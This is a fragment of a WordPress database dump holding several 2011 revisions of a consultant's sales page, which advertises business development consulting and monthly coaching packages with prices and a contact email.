(1704, 2, '2011-07-03 11:30:52', '2011-07-03 18:30:52', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. In that time, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed business development plan designed around the strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong>With you (and your team), we''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness of building your brand identity, your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and grow your influence, impact and income.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 11:30:52', '2011-07-03 18:30:52', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-133/', 0, 'revision', '', 0),
(1703, 2, '2011-07-03 10:54:48', '2011-07-03 17:54:48', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. In that time, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around the strengths and unique talents that will foster sustained competitive advantage in for your business. </strong>\r\n\r\n<strong>With you (and your team), we''ll develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness of building your brand identity, your marketing, and business development communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience in doing business with you and sharing this value with others.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 10:54:48', '2011-07-03 17:54:48', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-132/', 0, 'revision', '', 0);
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(1707, 2, '2011-07-03 11:49:45', '2011-07-03 18:49:45', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n<h2><strong> </strong><span style="color: #808080;">I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\nFor over 25 years, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise in marketing, brand strategy and communications  contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 11:49:45', '2011-07-03 18:49:45', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-136/', 0, 'revision', '', 0),
(1706, 2, '2011-07-03 11:41:27', '2011-07-03 18:41:27', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n&nbsp;\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. In that time, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 11:41:27', '2011-07-03 18:41:27', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-135/', 0, 'revision', '', 0),
(1709, 2, '2011-07-03 12:02:36', '2011-07-03 19:02:36', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, I''ve worked with senior executives in diverse global companies and owners of small start-ups alike. My expertise in marketing, brand strategy and communications has contributed to their capabilities, improving their marketing effectiveness, and helping them to make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace. I tailor my diverse experience and expertise to help forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. I offer two business business consulting packages:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 12:02:36', '2011-07-03 19:02:36', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-138/', 0, 'revision', '', 0),
